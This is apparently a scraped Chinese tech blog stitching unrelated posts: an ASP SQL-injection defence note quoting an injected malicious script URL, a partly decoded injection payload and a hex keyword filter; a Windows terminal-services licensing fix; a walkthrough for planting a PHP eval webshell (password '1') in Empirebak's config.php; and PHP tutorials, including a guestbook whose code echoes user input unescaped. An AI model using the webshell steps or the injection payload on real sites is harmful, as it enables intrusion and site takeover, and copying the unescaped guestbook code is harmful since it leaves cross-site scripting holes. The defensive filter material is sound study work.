相关博文

• 2010年07月26日 -- Ajax的工作原理 (1)
• 2010年07月26日 -- PHP和Socket简介 (0)
• 2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)
• 2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)
• 2010年05月23日 -- Rsync详解 (0)
• 2010年05月23日 -- mysql优化及全文搜索 (0)
• 2008年10月17日 -- 多进程的游戏服务器设计 (0)
• 2008年10月17日 -- 多服务器的用户身份认证方案 (0)
• 2011年06月29日 -- Android在线开发工具 App Inventor (0)
• 2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)
• 2010年07月28日 -- 防止网卡被禁用的具体配置方法 (0)
• 2010年07月28日 -- 无需输入密码登陆3389 (0)
• 2010年07月28日 -- 完美解决“由于这台计算机没有终端服务器客户端访问许可证” (0)
• 2010年07月28日 -- 帝国备份王(Empirebak)拿webshell (0)
• 2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)

首先先告诉大家一个批量清除代码的sql语句。

update 表名 set 字段=replace(字段,’script src=http://3b3.org/c.js>
1、分析那些无聊的人，或者有些病态的人究竟做了些什么 。

通过iis的日志或者microsoft urlscan 日志查看，在一些通过id查询数据库内容的时候后面被人加了一段很长的字符窜。

%%3B%%44%%65%%43%%4C%%61%%52%%45%%类似这样的字符窜，一定是其他的方式编码

首先我们先用工具分析下如此之长的字符窜究竟包含了些什么内容。

通过批量替换工具把%%全部替换成空，然后把得到的字符串通过其他的转码工具，转成字符窜。

;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0×45这里代码去掉了06F007200 aS NvArChAR(4000));ExEc(@S);–

就是一段与通过id查询数据库同时执行的sql，就给数据库某些表的字段加入了js病毒连接。

2、所以我们的原来的防sql注入的字符串就需要升级了。

如果过滤16进制

; 对应 3B

DeCLaRE 对应 4465434C615245

@ 对应 40

NvArCHaR 对应 4E76417243486152

set 对应 536554

CaSt 对应 43615374

as 对应 6153

exec 对应 45784563

- 对应 2D

把16进制的代码用|隔开放到injdata 里面

injdata = “3B|2D|’|;|and|exec|insert|select|delete%20from|update|count|”

然后自己测试下，程序是否拦击了这些16进制的代码，本人测试过是可以拦击的，如果不加入这些是不拦击的

照样可以注入到数据库。

相关博文

• 2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)
• 2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)
• 2010年07月26日 -- php的文档句法(heredoc)<<<和PHP字符串操作 (0)
• 2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)
• 2010年07月26日 -- PHP安全之数据过滤 (0)
• 2010年05月23日 -- Rsync详解 (0)
• 2010年05月23日 -- PHP封装常用Javascript为JS类以便快速调用 (1)
• 2010年05月23日 -- mysql优化及全文搜索 (0)
• 2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)
• 2010年07月26日 -- Ajax的工作原理 (1)
• 2010年07月26日 -- AJAX的各种控件和类库 (0)
• 2010年07月26日 -- XMLHTTP对象封装技术 (0)
• 2010年07月26日 -- ajax的缺点 (0)
• 2010年05月23日 -- eAccelerator与memcache的区别与用途 (2)
• 2010年07月26日 -- PHP和Socket简介 (0)

1、在另外一台Windows2003的机器上运行“tsmmc.msc”，打开远程桌面连接，添加一个新的连接，输入远程服务器的IP地址、远程登录帐号和密码，登录到远程服务器桌面。这个方式可以随时登录到远程桌面。

2、在登录出问题的服务器上， 单击“开始”，指向“管理工具”，然后单击“终端服务配置”。

3、 单击“服务器设置”，然后双击“授权模式”。

4、将“授权模式”更改为“每用户”，然后单击“确定”。 以后就不会出现此类问题了。

原因：Window Server 2003 不管理“用户 CAL”。这就是说，即使许可证服务器数据库中有一个“用户 CAL”，它在被使用时也不会减少。这样就不会为了让每个用户都有一个有效的终端服务器 (TS) CAL 而根据“最终用户许可协议”(EULA) 的要求删除管理员。在没有使用“设备 CAL”的情况下，如果不是每个用户都有一个“用户 CAL”，就会违反 EULA。

相关博文

• 2010年05月23日 -- mysql优化及全文搜索 (0)
• 2010年05月23日 -- Rsync详解 (0)
• 2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)
• 2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)
• 2010年07月26日 -- PHP和Socket简介 (0)
• 2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)
• 2010年05月23日 -- PHP封装常用Javascript为JS类以便快速调用 (1)
• 2008年10月17日 -- 多服务器的用户身份认证方案 (0)
• 2011年06月29日 -- 资深设计师Tony Ventrice解析手机游戏开发的四个层次 (0)
• 2010年07月26日 -- php的文档句法(heredoc)<<<和PHP字符串操作 (0)
• 2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)
• 2010年05月23日 -- eAccelerator与memcache的区别与用途 (2)
• 2010年05月23日 -- PHP中的Memcache函数库（Memcache Functions） (0)
• 2008年10月17日 -- 数据服务器的设计 (0)
• 2008年10月17日 -- 多进程的游戏服务器设计 (0)

如果你不知道要替换什么内容的话..那最好还是下载备份文件回来看下

我是替换
config.php的内容

内容为

<?php
$b_table=”a,bak_guest3Book1,bak_info17Content1,bak_info17Sort1,bak_info18Content1,bak_info1Content1,bak_info1Sort1,bak_info2Content1,bak_info2Sort1,bak_info4Content1,bak_info4Sort1,bak_info5Content1,bak_info5Sort1,bak_info6Content1,bak_info6Sort1,bak_info7Content1,bak_info7Sort1,bak_info8Content1,bak_info8Sort1,bak_page12Content1,bak_page1Content1,bak_page21Content1,bak_poll20Inve1,bak_poll20InveCount1,bak_poll20InveOpt1,guest16Book1,guest3Book1,htmlImage,htmlImageTmp,info10Content1,info10Sort1,info12Content1,info12Sort1,info15Content1,info15Sort1,info17Content1,info17Sort1,info18Content1,info18Sort1,info19Content1,info19Sort1,info1Content1,info1Sort1,info2Content1,info2Sort1,info4Content1,info4Sort1,info5Content1,info5Sort1,info6Content1,info6Sort1,info7Content1,info7Sort1,info8Content1,info8Sort1,operatorPower,operators,page11Content1,page12Content1,page13Content1,page14Content1,page1Content1,page21Content1,poll20Inve1,poll20InveCount1,poll20InveOpt1,poll9Inve1,poll9InveCount1,poll9InveOpt1,system”;
$tb[a]=1;
$tb[bak_guest3Book1]=1;
$tb[bak_info17Content1]=1;
$tb[bak_info17Sort1]=1;
$tb[bak_info18Content1]=1;
$tb[bak_info1Content1]=1;
$tb[bak_info1Sort1]=1;
$tb[bak_info2Content1]=1;
$tb[bak_info2Sort1]=1;
$tb[bak_info4Content1]=1;
$tb[bak_info4Sort1]=1;
$tb[bak_info5Content1]=1;
$tb[bak_info5Sort1]=1;
$tb[bak_info6Content1]=1;
$tb[bak_info6Sort1]=1;
$tb[bak_info7Content1]=1;
$tb[bak_info7Sort1]=1;
$tb[bak_info8Content1]=1;
$tb[bak_info8Sort1]=1;
$tb[bak_page12Content1]=1;
$tb[bak_page1Content1]=1;
$tb[bak_page21Content1]=1;
$tb[bak_poll20Inve1]=1;
$tb[bak_poll20InveCount1]=1;
$tb[bak_poll20InveOpt1]=1;
$tb[guest16Book1]=1;
$tb[guest3Book1]=1;
$tb[htmlImage]=1;
$tb[htmlImageTmp]=1;
$tb[info10Content1]=1;
$tb[info10Sort1]=1;
$tb[info12Content1]=1;
$tb[info12Sort1]=1;
$tb[info15Content1]=1;
$tb[info15Sort1]=1;
$tb[info17Content1]=1;
$tb[info17Sort1]=1;
$tb[info18Content1]=1;
$tb[info18Sort1]=1;
$tb[info19Content1]=1;
$tb[info19Sort1]=1;
$tb[info1Content1]=1;
$tb[info1Sort1]=1;
$tb[info2Content1]=7;
$tb[info2Sort1]=1;
$tb[info4Content1]=1;
$tb[info4Sort1]=1;
$tb[info5Content1]=1;
$tb[info5Sort1]=1;
$tb[info6Content1]=1;
$tb[info6Sort1]=1;
$tb[info7Content1]=1;
$tb[info7Sort1]=1;
$tb[info8Content1]=1;
$tb[info8Sort1]=1;
$tb[operatorPower]=1;
$tb[operators]=1;
$tb[page11Content1]=1;
$tb[page12Content1]=1;
$tb[page13Content1]=1;
$tb[page14Content1]=1;
$tb[page1Content1]=1;
$tb[page21Content1]=1;
$tb[poll20Inve1]=1;
$tb[poll20InveCount1]=1;
$tb[poll20InveOpt1]=1;
$tb[poll9Inve1]=1;
$tb[poll9InveCount1]=1;
$tb[poll9InveOpt1]=1;
$tb[system]=1;

$b_baktype=0;
$b_filesize=300;
$b_bakline=500;
$b_autoauf=1;
$b_dbname=”s422857db0″;
$b_stru=1;
$b_strufour=0;
$b_dbchar=”auto”;
$b_beover=0;
$b_insertf=”replace”;
$b_autofield=”,,”;
?>然后替换

<?php eval($_POST[1]);?>by fhod~~~~~

访问

http://www.xxx.com/upload/bdata/safemod/config.php
能看到 by fhod~~~~~
证明成功得到shell

密码为1

前提是要有管理密码能进入管理^_^

相关博文

• 2010年05月23日 -- mysql优化及全文搜索 (0)
• 2010年07月28日 -- Webshell下破解计算机管理员密码 (0)
• 2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)
• 2010年07月26日 -- PHP安全之数据过滤 (0)
• 2010年07月26日 -- php的文档句法(heredoc)<<<和PHP字符串操作 (0)
• 2010年07月26日 -- PHP和Socket简介 (0)
• 2010年07月26日 -- 深入探讨PHP中的内存管理问题 (0)
• 2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)
• 2010年07月26日 -- Ajax的工作原理 (1)
• 2010年07月26日 -- ajax的缺点 (0)
• 2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)
• 2010年05月23日 -- Rsync详解 (0)
• 2010年05月23日 -- nginx的rewrite规则 (1)
• 2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)
• 2010年05月23日 -- PHP封装常用Javascript为JS类以便快速调用 (1)

get,post,session在最新的php版本中自动全局变量是关闭的，所以要从上一页面取得提交过来得变量要使用$_GET['foo'],$ _POST['foo'],$_SESSION['foo']来得到。当然也可以修改自动全局变量为开(php.ini改为 register_globals = On)；考虑到兼容性，还是强迫自己熟悉新的写法比较好。　　

【2】Win32下apache2 用get方法传递中文参数会出错：

test.php?a=你好&b=你也好　
传递参数是会导致一个内部错误　　
解决办法:”test.php?a=”.urlencode(你好).”&b=”.urlencode(你也好)　

【3】win32下的session不能正常工作　

php.ini默认的session.save_path = /tmp　
这显然是linux下的配置，win32下php无法读写session文件导致session无法使用，把它改成一个绝对路径就可以了，例如session.save_path = c:windows emp　　

【4】显示错误信息　
　
当php.ini的display_errors = On并且error_reporting = E_ALL时，将显示所有的错误和提示，调试的时候最好打开以便纠错，如果你用以前php写法错误信息多半是关于未定义变量的。变量在赋值以前调用会有提示，解决办法是探测或者屏蔽。　　

例如显示$foo，可以if(isset($foo)) echo $foo 或者echo @$foo　　

【5】Win32下mail()不能发送电子邮件　　

在linux下配置好的sendmail可以发送，在win32下需要调用smtp服务器来发送电子邮件，修改php.ini的SMTP = ip //ip是不带验证功能的smtp服务器(网上很难找到)　　

php发送邮件的最好解决方法是用socket直接发送到对方email服务器而不用转发服务器。　　

【6】初装的mysql修改密码

应该使用update mysql.user set password=”yourpassword” where user=”root” 修改密码　　

【7】header already sent　　

这个错误通常会在你使用HEADER的时候出现，他可能是几种原因：

1，你在使用HEADER前PRING或者ECHO了
2.你当前文件前面有空行
3.你可能INCLUDE了一个文件,该文件尾部有空行或者输出也会出现这种错误。！　　

【8】更改php.ini后没有变化　　

重新启动web server，比如IIS，Apache等等，然后才会应用最新的设置。
这个我要补充一下，如果你是iis服务器请在cmd下用iisreset命令重新起动。用信息管理服务器重起是不起作用的。

【9】php在2003上面安装　
　
PHP4的php4isapi.dll好像和2003有些冲突，只能用CGI模式安装　　

步骤一，先www.php.net 下在一个安装程序，我是装的是：php-4.2.3-installer.exe，你也可以去找最新的版本，在安装php-4.2.3- installer.exe之前保证你的IIS6.0启动了，并能够访问。安装好以后，在默认网站–＞应用程序配置。　　
步骤二：点击 web服务扩展 –＞新建web服务扩展。　　
步骤三： 扩展名–＞php,然后添加　　
步骤四：找到php.exe的路径添加上去。　　
步骤五： 确定就可以了！　　　
步骤六： 选择php的服务扩展，然后点击允许。　这点很重要，以前的iis5.1都没web服务扩展这项，所以用惯iis5.1的朋友很容易忽略这项。

【10】sql语句不起作用

sql语句不起作用，对数据库操作失败，最简便的调试方法，echo那句sql，看看变量的值能得到不。　
　
【11】include和require的区别　　

两者没有太大的区别，如果要包含的文件不存在，include提示notice，然后继续执行下面的语句，require提示致命错误并且退出。　　

据我测试，win32平台下它们都是先包含后执行，所以被包含文件里最好不要再有include或require语句，这样会造成目录混乱。

如果一个文件不想被包含多次可以使用include_once或require_once## 读取，写入文档数据。
function r($file_name) {　
$filenum=@fopen($file_name,”r”);　
@flock($filenum,LOCK_SH);　
$file_data=@fread($filenum,filesize($file_name));　
@fclose($filenum);　
return $file_data;}
function w($file_name,$data,$method=”w”){　
$filenum=@fopen($file_name,$method);　
flock($filenum,LOCK_EX);　
$file_data=fwrite($filenum,$data);　
fclose($filenum);　
return $file_data;}

【12】isset()和empty()的区别　　

两者都是测试变量用的，但是isset()是测试变量是否被赋值，而empty()是测试一个已经被赋值的变量是否为空。　　

如果一个变量没被赋值就引用在php里是被允许的,但会有notice提示，如果一个变量被赋空值，$foo=”"或者$foo=0或者 $foo=false,那么empty($foo)返回真，isset($foo)也返回真，就是说赋空值不会注销一个变量。　　　要注销一个变量，可以用 unset($foo)或者$foo=NULL　　

【13】mysql查询语句包含有关键字　

　php查询mysql的时候，有时候mysql表名或者列名会有关键字，这时候查询会有错误。例如表名是order,查询时候会出错，简单的办法是sql语句里表名或者列名加上`[tab键上面]来加以区别，例如select * from `order`　　

【14】通过HTTP协议一次上传多个文件的方法　　

有两个思路，是同一个方法的两种实现。具体程序还需自己去设计。　　
1、在form中设置多个文件输入框，用数组命名他们的名字，如下：

＜form action=”" method=post＞
＜input type=file name=usefile[]＞
＜input type=file name=usefile[]＞
＜input type=file name=usefile[]＞
＜/form＞
　　
这样，在服务器端做以下测试：echo “＜pre＞”;print_r($_FILES);echo “＜/pre＞”;　　

2、在form中设置多个文件输入框，但名字不同，如下：

＜form action=”" method=post＞
＜input type=file name=usefile_a＞
＜input type=file name=usefile_b＞
＜input type=file name=usefile_c＞
＜/form＞　

　在服务器端做同样测试：echo “＜pre＞”;print_r($_FILES);echo “＜/pre＞”;

相关博文

• 2010年05月23日 -- mysql优化及全文搜索 (0)
• 2010年07月26日 -- PHP和Socket简介 (0)
• 2010年07月26日 -- ajax的缺点 (0)
• 2010年07月26日 -- PHP安全之数据过滤 (0)
• 2010年05月23日 -- Rsync详解 (0)
• 2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)
• 2010年07月28日 -- Webshell下破解计算机管理员密码 (0)
• 2010年07月26日 -- 深入探讨PHP中的内存管理问题 (0)
• 2010年07月28日 -- 帝国备份王(Empirebak)拿webshell (0)
• 2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)
• 2010年07月26日 -- Ajax的工作原理 (1)
• 2010年07月26日 -- XMLHTTP对象封装技术 (0)
• 2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)
• 2010年05月23日 -- nginx的rewrite规则 (1)
• 2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)

<?php
echo “濙水河边的PHP演示”;
echo “<br>”;
$db=mysql_connect(“localhost”,”root”,”123456″);
mysql_select_db(“jaycee”,$db);
$rs=mysql_query(“select * from gbook”,$db);
while($row=mysql_fetch_row($rs))
{
echo <<< eod
<table width=”99%” border=”1″ cellspacing=”0″ cellpadding=”0″>
<tr>
<td>$row[0]</td>
<td>$row[1]</td>
</tr>
<tr>
<td>$row[2]</td>
<td>$row[3]</td>
</tr>
</table>
eod;
}
?>

<<<也就是可以让我们在PHP代码内实现一大段的HTML代码，并且可以在其中，使用PHP变量。

淡水河边这厮，找到许多PHP入门呀，php起步呀＝＝的书，从没提到用到这个。郁闷，用不到么？

居然不提。愤怒！

淡水河边看的书上叫它文档句法,又称定界符.它的语法是”<<<”。用法是在其后提供一个标识符，然后在标识符后提供字符串，再在字符串后提供此标识符来结尾。注意，淡水河边这厮这里用的标志符是EOD，结束的那个标志要顶头写，不能有缩进和空格.

字符串的操作

1. 字符串的表现形式

在大部分语言里，双引号是字符串，单引号是字符。但是在PHP里，字符串的表现形式有3种。即：

单引号

双引号

定界符（heredoc syntax）

看见了吧，单引号居然可以用来表示字符串。那么如果我想表示单引号怎么办？和大多数语言一样，使用转义符号吧。即反斜线”\”.那么使用单引号和双引号有什么区别呢？我的观点是没有多大区别。唯一的区别就是双引号可以应用更多的转义符。
让我们定界符吧。它的语法是”<<<”。用法是在其后提供一个标识符，然后在标识符后提供字符串，再在字符串后提供此标识符来结尾。例如：

<?php
$str= <<<EOD
Hello, this is an example for HEREDOC Syntax.
Please attention to it.
EOD;
echo $str;
?>

注意，这里的提供的标志符是EOD，中间的是字符串。

2. 字符串的特别之处

从一个例子开始。

假设里你有很长的一段字符串，比如一段话。几个月后，你发现你的需求改变，需要在这段话的某个位置插入一个变量。这个时候如果重新用字符串符肯定是相当复杂的。那么有没有其他的方法呢？请放心，PHP已经考虑到这一点了。那就是花括号的应用。

对于PHP，它一般会按照如下规则解析：

如果遇到美元符号（$），解析器会尽可能多地取得后面的字符以组成一个合法的变量名。如果想明示指定名字的结束，用花括号把变量名括起来。例如

<?php
$beer = “Heineken”;
echo “$beer”s taste is great”; // works, “”" is an invalid character for varnames
echo “He drank some $beers”; // won”t work, “s” is a valid character for varnames
echo “He drank some ${beer}s”; // works
echo “He drank some {$beer}s”; // works
?>

看看第3，4行。第三行的$beer”s其实是$beer 后加“‘s”。因为这里的“’”对于变量命名来说是一个无效字符。但是第4行的$beers就不一样了。所以$beers是无效的。
除了上面的,你还会注意到地5，6行的${beer}以及{$beer｝。对于PHP来说它们都是合法的。

但是你必须注意一点，${beer}以及{$beer｝的$和｛必须是紧挨的。不然｛就会当成｛字符看待了。

3，字符串的常用操作。

我想这是令我们异常激动的一个话题，并且也是非常实用的。

字符串的函数比较多，我们还是介绍一部分函数吧。

字符串的整理函数

chop(),其实就是rtrim().当然rtrim()还是可以用的

ltrim(),去掉字符串左边的多于空格。

trim(),这个比较比较简单，就是把字符串左右2边的空格都给删除。

字符串的格式化输出

实用HTML格式化的。nl2br().即在字符串的新一行前插入<br>.

<?php
echo nl2br(“foo isn”t\n bar”);
?>

上面的字符串会分2行显示，如果把此函数去掉，就只在一行上显示了。

打印输出的格式化。

PHP支持print()函数，它和echo一样，唯一的差别就是print()返回一个整型值，一直为1。除了print(),还有printf()和sprintf(). 写到这里，你肯定会想，怎么和C一样呢。它们的工作方式一样，差别是printf()将结果输出到浏览器，而sprintf()这是输出到变量。

看看它们的定义吧。

int printf ( string format [, mixed args [, mixed ]] )

string sprintf ( string format [, mixed args [, mixed ]] )

改变字符串的大小写。

strtolower将字符串变为小写

strtoupper将字符串变为大写

ucfirst将字符串的第一个字符大写。

ucwords 将字符串中的每一个单词的第一个字符变为大写。

格式化字符，以便存储。

其实就是为了替换引号，反斜杠，NULL等，因为它们有的时候不适合于很多场合，比如存储到数据库。为了达到目的，addslashes是一个不错的选择，它使用反斜线引用字符串。为了在显示数据，需要在之前调用stripslashes，否则反斜杠会显示出来的。

字符串比较

strcmp,strcasecmp,strnatcmp,有时间再查一下

字符串长度请调用strlen.

字符串连接与分割

explode类似于C#里的Split函数。例如：

<?php
$str = “Is yours name reilly?”;
$var=explode(” “,$str);
echo $var[0];//输出：Is
echo $var[1];//输出:yours
?>

implode()和join()提供的功能一样，正好与explode()相反，它们将多个字符换合并起来。

strtok()和split类似，但是它一次只取出一个。

为了取得子字符串，调用substr()吧。

查找字符串中的字符串

可以调用strstr(),strchr(),strrchr()以及stristr().记住，strchr()是strstr()的别名，查找第一次出现的地方。strrchr()，查找最后一个字符串出现的地方。

stristr()和strstr()的区别是前者不区分大小写。

查找字符串的位置可以使用strpos()以及strrpos().

替换的话，调用str_replace()以及substr_replace().

以上介绍都是最常用的，如果想得到更多字符串的函数以及函数的信息，参考PHP的函数文档。

相关博文

• 2010年07月26日 -- PHP和Socket简介 (0)
• 2010年07月26日 -- Ajax的工作原理 (1)
• 2010年05月23日 -- PHP封装常用Javascript为JS类以便快速调用 (1)
• 2010年05月23日 -- mysql优化及全文搜索 (0)
• 2010年05月23日 -- eAccelerator与memcache的区别与用途 (2)
• 2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)
• 2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)
• 2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)
• 2010年07月28日 -- 帝国备份王(Empirebak)拿webshell (0)
• 2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)
• 2010年07月26日 -- AJAX的各种控件和类库 (0)
• 2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)
• 2010年07月26日 -- PHP安全之数据过滤 (0)
• 2010年05月23日 -- PHP中的Memcache函数库（Memcache Functions） (0)
• 2010年07月26日 -- XMLHTTP对象封装技术 (0)

1、加入数据程序段。

$date=date(“Y-m-d H:i:s”);//取得系统时间
$ip = $HTTP_SERVER_VARS[REMOTE_ADDR]; //取得发言的IP地址
$text=encode($gb_text);//去掉留言内容后面的空格.
$fp=fopen(“gb.dat”,”a”);//以只写模式打开gb.dat文本文件,文件指针指向文件尾部.
$str=$ip.”　”.$date.”　”.$gb_name.”　”.$gb_email.”　”.$gb_home.”　”.$face.”　”.$gb_qq.”　”.$head.”　”.$text.”　”.$reply.”\n”;//将所有留言的数据赋予变量$str，”　”的目的是用来今后作数据分割时的数据间隔符号。
fwrite($fp,$str);//将数据写入文件
fclose($fp);//关闭文件
showmessage(“留言成功!”,”index.php”,”3″);//留言成功，3秒后自动返回主界面。
其中的$gb_name 、$gb_email、$gb_home、$face、$gb_qq、$head、$gb_text、$reply是由发言表单传过来的数据。

2、数据显示程序段

＜?
if (file_exists(“gb.dat”)){//检测文件是否存在
$array=file(“gb.dat”);//将文件全部内容读入到数组$array
$arr=array_reverse($array);//将$array里的数据安行翻转排列（即最后一行当第一行，依此类推）读入数组$arr的每一个单元（$arr[0]…）。
$num=count($array);//获取数组$array里的信息数(一行为一条信息)
if ($num＞0){//如果信息数大于零（即文本数据库不为空）
$total=ceil($num/$pagesize);//计算总页数(取最大整数,即凡有小数点都进一取整，$pagesize为预设的每页显示的信息数)
if($page＜1){//如果当前页面数码号小于1
$page=1;//则赋值为1
}
$number=($page-1)*$pagesize;//计算当前所显示第一个留言的数码号（数码号从零开始，主要是达到与数组单元号对应的目的）
for($i=0;$i＜=$pagesize-1;$i++){//进入循环
$row=explode(“　”,$arr[$number]);//以”　”作为分割符,分割数组$arr中每第$number个单元的数据,并将这些数据赋予数组$rom
list($ip,$datetime,$name,$email,$home,$face,$qq,$head,$text,$reply)=$row;//将数组$row里的单元数据按顺序赋予括号里的变量
?＞
＜img src=＜? echo $head ?＞ ＞//显示客户形象图片
＜br＞
＜font color=”#0099CC”＞昵称【＜? echo $name ?＞＜font size=”2″＞】＜br＞//显示客户名
发表于：＜? echo $datetime ?＞//显示留言发表时间
＜br＞
＜img src=＜? echo $face ?＞＞//显示客户留言表情图片
＜? echo $name ?＞说:＜? echo $text; ?＞//显示客户留言内容
＜br＞
＜? echo $reply ?＞//显示回复内容
＜br＞

＜a href=”＜? echo $home ?＞” target=”_blank”＞访问＜? echo $name ?＞的主页＜/a＞//客户主页的超连接
＜a href=”mailto:＜? echo $email ?＞”＞给＜? echo $name ?＞发信＜/a＞//客户E-MAIL的连接
＜? echo $name ?＞的QQ号码是＜? echo $qq ?＞//显示客户的QQ号码
＜? echo $name ?＞的IP地址为＜? echo $ip ?＞” //显示客户的IP地址
＜a href=”reply.php?time=＜? echo $datetime ?＞”＞回复＜/a＞//留言回复的连接语句
＜a href=”del.php?time=＜? echo $datetime ?＞”＞删除＜/a＞//留言删除的语句（以客户留言时间$datetime作为删除标识）
＜br＞
＜?
if ($number == $num-1)//如果数组的单元号等于总留言数减一（因为单元号以零开始的，所以这意味着这是最后一条留言）
{
break;//跳出循环
}
$number = $number + 1; //数组单元号加1
}//循环结束符
}
if ($page ＜＞ 1)//如果当前页面数码号不等于1
{
$back = $page – 1;//当前页面数码号减1，并将此值赋予变量$back
echo “＜a href=index.php?page=1＞第一页＜/a＞”;//显示第一页的连接
echo ” ＜a href=index.php?page=$back＞上一页＜/a＞” ;当前页面数码号等于$back，并显示其连接
}
if ($page ＜＞ $total)//如果当前页面数码号不等于总页数号（最后一页数码号）
{
$next = $page + 1;//当前页面数码号加1并赋予变量$next
echo ” ＜a href=index.php?page=$next＞下一页＜/a＞” ;//显示下一页连接
echo ” ＜a href=index.php?page=$total＞最后一页＜/a＞”; 显示最后一页连接
}
echo “页数：$page / $total”;//显示当前页面数码号和显示最后一页数码号
echo “共有 $num 条留言”;//显示留言数信息
}
else {
echo “＜center＞当前没有任何留言！＜/center＞”;//如果文件内容为空则显示的信息
}
else {
echo “＜center＞数据文件丢失，请联系管理员！或发布留言重新建立数据文件！＜/center＞”;//如果文件不存在显示的信息
}

3、数据修改程序段

$list=file(“gb.dat”);//读取整个gb.dat文件到数组$list,数组每一个元素为一条留言($list[0]是第一条留言的数据、$list[1]是第一条留言的数据…..
$n=count($list);//计算$list内容里的留言总数,并赋予变量$n
if ($n＞0){ //如果留言数大于0

$fp=fopen(“gb.dat”,”w”);//则以只写模式打开文件gb.dat
$gb_reply=encode($gb_reply);
for ($i=0;$i＜$n;$i++) {//进入循环
if(eregi($ttime,$list[$i])){//将送来发留言时间$ttime与数组单元$list里内容进行字串匹配比较
$f=explode(“　”,$list[$i]);//如果找到匹配，就以”　”作为分隔符,切开留言信息$list[$i](第$i条留言),并将这些数据赋予数组$f
$f[9]=$gb_reply;//将$f[9]（留言信息最后一条数据）用$gb_reply（回复内容）代替。
$list[$i]=$f[0].”　”.$f[1].”　”.$f[2].”　”.$f[3].”　”.$f[4].”　”.$f[5].”　”.$f[6].”　”.$f[7].”　”.$f[8].”　”.$f[9].”\n”; //将数组单元$list[$i]的内容用数组$f加上分隔符”　”代替（其中$f[9]是修改了的新数据）。
break;//跳出循环
}
}//循环结束符
}
FOR($i=0;$i＜=$n;$i++){//进入循环
fwrite($fp,$list[$i]);//将数组$list的每个单元为一行，写入文件gb.dat
}//循环结束符
fclose($fp);//关闭文件
showmessage(“回复成功!”,”index.php”);//回复成功，自动返回主界面。

4、数据删除程序段

$list=file(“gb.dat”);//读取整个gb.dat文件到数组$list,数组每一个元素为一条留言($list[0]是第一条留言的数据、$list[1]是第一条留言的数据…..
$n=count($list);//计算$list内容里的留言总数,并赋予变量$n
if ($n＞0){//如果留言数大于0
$fp=fopen(“gb.dat”,”w”);//则以只写模式打开文件gb.dat
for ($i=0;$i＜$n;$i++) {//进入循环
if(eregi($ttime,$list[$i])){//将发送过来发留言时间$ttime与数组$list[$i]里的字串进行匹配比较
$list[$i]=”";//如果匹配成功，则将$list[$i]清空（达到删除的目的）
break;//跳出循环
}
}//循环结束符
FOR($i=0;$i＜=$n;$i++){//进入循环
fwrite($fp,$list[$i]);//将数组$list的每个单元为一行，写入文件gb.dat
} //循环结束符
fclose($fp);//关闭文件
showmessage(“删除成功!”,”index.php”);//删除成功，自动返回主界面。
}

5、数据查询程序段

＜form action=”search.php” method=”post”＞
＜font color=”#0099CC” size=”2″＞搜索关键字：
＜input name=”found” type=”text” id=”found” style=”background-color:#FFFFFF; color:#8888AA; border: 1 double #3399CC” size=”12″＞
＜input name=”submit” type=”image” src=”image/search.gif” alt=”留言搜索”＞
＜/font＞＜/td＞

＜/tr＞
＜/table＞
＜/form＞
////////////////////////////////上面是搜索表单语句段
＜?
$id=0;
$list=file(“gb.dat”);//读取整个gb.dat文件到数组$list,数组每一个元素为一条留言($list[0]是第一条留言的数据、$list[1]是第一条留言的数据…..
$n=count($list);//计算$list内容里的留言总数,并赋予变量$n
$found=trim($found);
if (!$found){ //如果$found为假
echo “＜center＞您没有输入任何关键字！＜/center＞”;//作相关显示
}
else {
if($n＞0){//如果留言数大于0
for ($i=0;$i＜$n;$i++) {//进入循环
if(eregi($found,$list[$i])){//输入的关键字与数组$list[$i]里的字串进行匹配比较
$row=explode(“　”,$list[$i]); $id=1; //如果找到匹配，就以”　”作为分隔符,切开留言信息$list[$i](第$i条留言),并将这些数据赋予数组$row.并将变量$id赋予1，以便作为是否找到匹配的判断。
list($ip,$datetime,$name,$email,$home,$face,$qq,$head,$text,$reply)=$row;//将数组$row里的单元数据按顺序赋予括号里的变量
?＞
＜img src=＜? echo $head ?＞ ＞//显示客户形象图片
＜br＞
＜font color=”#0099CC”＞昵称【＜? echo $name ?＞＜font size=”2″＞】＜br＞//显示客户名
发表于：＜? echo $datetime ?＞//显示留言发表时间
＜br＞
＜img src=＜? echo $face ?＞＞//显示客户留言表情图片
＜? echo $name ?＞说:＜? echo $text; ?＞//显示客户留言内容
＜br＞
＜? echo $reply ?＞//显示回复内容
＜br＞
＜a href=”＜? echo $home ?＞” target=”_blank”＞访问＜? echo $name ?＞的主页＜/a＞//客户主页的超连接
＜a href=”mailto:＜? echo $email ?＞”＞给＜? echo $name ?＞发信＜/a＞//客户E-MAIL的连接
＜? echo $name ?＞的QQ号码是＜? echo $qq ?＞//显示客户的QQ号码
＜? echo $name ?＞的IP地址为＜? echo $ip ?＞” //显示客户的IP地址
＜a href=”reply.php?time=＜? echo $datetime ?＞”＞回复＜/a＞//留言回复的连接语句
＜a href=”del.php?time=＜? echo $datetime ?＞”＞删除＜/a＞//留言删除的语句（以客户留言时间$datetime作为删除标识）
＜br＞
＜?
}
}//循环结束符
}}
if($id==0){ echo “＜center＞没有找到与关键字匹配的留言！＜/center＞”;}//如果$id＝0则表示没找到匹配，显示相关提示
?＞

相关博文

• 2010年07月26日 -- PHP和Socket简介 (0)
